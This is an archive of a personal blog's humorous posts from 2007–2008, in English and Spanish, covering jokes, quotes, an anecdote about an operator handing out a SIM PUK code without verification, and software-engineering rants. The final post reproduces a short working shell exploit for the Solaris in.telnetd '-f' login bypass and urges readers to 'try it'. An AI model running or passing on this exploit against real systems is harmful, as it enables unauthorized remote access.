Archive for the ‘Fun’ Category

Security? Privacy? Brain?

Tuesday, December 23rd, 2008

Yay! I’ve something cool to talk about.

It seems my brother is not very good with numbers and managed to block his SIM card by mistyping the PIN code three times in a row. The card is quite old, he inherited it from me time ago and God knows where the proper documentation which came along with it was. In short, we were screwed without the PUK code.

When the card was bought, there wasn’t any active law demanding mobile operators to establish any link between the card and its owner. Given that, I told him it will be hard to get the PUK to unlock the card because most likely the customer service would suspect the card was stolen and its new evil owner was trying to use it. Anyway, why don’t give it a try?

Dialing 1485…

Me: Hello. My cellphone is locked, it is asking for a code in order to get itself unlocked.

Op: What code? PIN code?

Me: Well, no. It requests the PUK code.

Op: I see. Is it a prepaid card?

Me: It is.

Op: Ok, turn off the device, remove the battery, extract the SIM card and tell me the numbers printed on it.

Me: Well… the numbers are: 11111111111111.

Op: Ok, and your phone number is…?

Me: 622222222.

Op: Ok. Your PUK is: 333333333333333.

Me: Thanks.

Op: Thanks for calling. Have a nice day.

Thus anyone who knows your telephone number and wants to read you messages, copy your contact list or call for free only has to steal your phone. You may now start worrying even if the phone was off, the security codes don’t protect your privacy at all.

Does Alabama want the bomb?

Thursday, October 30th, 2008

So Israel’s getting tense.
Wants one in self defense.
“The Lord’s our shepherd,” says the psalm,
But just in case, we better get a bomb.
Who’s next?

Mwhahaha!

Science Fail

Sunday, October 5th, 2008

Hahahahaha. Here.

Ha-ha

Tuesday, September 23rd, 2008

I certainly love Boston Legal.

CAPTCHAs

Sunday, June 29th, 2008

Funny captcha

Seen here.

Fighting against damnation

Friday, March 28th, 2008

NMs, I’ve just realized who’s gonna help you. Her name is Morgan le Fay.

Adria — You will all burn in the fires of eternal DAMnation.
Morgan le Fay — Not if I have anything to do with it!

Stargate: The Ark of Truth (1:29:18)

Being an Engineer

Thursday, March 27th, 2008

“Scientists dream about doing great things. Engineers just do them.”

(American Cartoonist, b.1957) – adapted.

Exclusiva: Sony se hace con los derechos de Wii

Thursday, September 27th, 2007

Parece que los publicistas de XTRM lo tienen claro.

Anuncio de octubre del canal XTRM

Fuente: Revista de TeleCable (Octubre)

Crazy mints

Monday, June 18th, 2007

This morning finally arrived the Penguin Mints I ordered last week.

Penguin Caffeinated Chocolate Mints

Carlos, please be moderated with these pills, some people recommends sleep at least eight hours a day ;)

Brand new OSX’ pricing structure.

Tuesday, June 12th, 2007

I’ve just seen Steve’s keynote and I feel like I have to highlight the following, said with regard to the next operating system Apple will release.

We’ve got a basic version, which is going to cost $129. We’ve got a premium version, which is gonna cost $129. We’ve got a business version, $129. We’ve got an enterprise version, $129. And we’ve got the ultimate version – we’re throwing everything into it: It’s $129. We think most people will buy the ultimate version.

That made me laugh for a while, didn’t you?

Escape

Monday, May 21st, 2007

Two buddies trying to escape from a piece of paper

Hello? Is there anyone out there able to help us?

Just funny.

hrhr!

Thursday, May 10th, 2007

Barcelona FC got owned

Lo siento, no es posible saberlo

Wednesday, May 2nd, 2007

Hoy he ido al Alcampo a hacer unas compras con un colega, y, teniendo en mi mano una tarrina de diez DVDs, me acerco a un dependiente y le digo:

Nacho – Hola, ¿es usted el encargado de la sección de informática?
Dependiente – Sí, dígame.
Nacho – ¿podría usted decirme lo que me está robando la SGAE si me compro este producto?
Dependiente – ¿cómo dice?
Nacho – Me refiero a que quería saber el porcentaje de canon que se le aplica a estos DVDs.
Dependiente – Ese es un dato que no se si podré facilitarle, espere un momento.
[...]
Dependiente – No, mire, lo siento, pero no es posible saberlo.

Increíble, encima de que me roban, no puedo saber ni cuanto.

Ingeniería del software, sabor universitario

Wednesday, April 11th, 2007

Voy a aprovechar mi blog para poner aquí lo que, según fuentes bastante fiables, dijo un profesor de Ingeniería del Software a sus alumnos hace escasos días.

Obviamente no digo ni nombre, ni curso, ni titulación, ni incluso Universidad (aunque me imagino que supongais bien) ya que es lo que menos importa. También advierto que la cita no es literal, pero creo que para entendernos servirá:

No os aconsejo utilizar sistemas de SCM porque os van a complicar la vida, no vais a desarrollar bien, no seais tecnócratas.

Aún no puedo salir de mi asombro, que un profesor de Ingeniería del Software diga eso, sobre todo que “os van a complicar la vida” cuando el asunto es precisamente al revés. En mi opinión, ya me parece indispensable usarlos incluso desarrollando una persona sola, pero me parece un suicidio no utilizarlo cuando las personas en el grupo de trabajo son más de dos (como es el caso). Y no sólo lo pienso yo, lo piensa Debian, Google, Kernel.org, Lufthansa, NASA, CERN, CSC (¡Cualquier empresa con un equipo un poco decente lo usa todos los días!)… y no sólo empresas grandes, sino cualquier grupo de personas que intenten desarrollar algo juntos (sí, esa empresa en la que estás pensando también lo usa).

Sinceramente, me siento avergonzado de que se digan estas cosas en la Universidad. Sigan formando así Ingenieros, por algo seguimos en la cola de Europa.

Y tú, ¿todavía te pasas un .zip con tus compañeros?

SunOS 5.10/5.11 owned, really!

Tuesday, February 13th, 2007

Try it or get more details.


#!/bin/sh
echo ""
echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net"
if [ $# -ne 2 ]; then
echo "./sunos HOST ACCOUNT"
echo "e.g.: ./sunos localhost bin"
exit
fi
telnet -l"-f$2" $1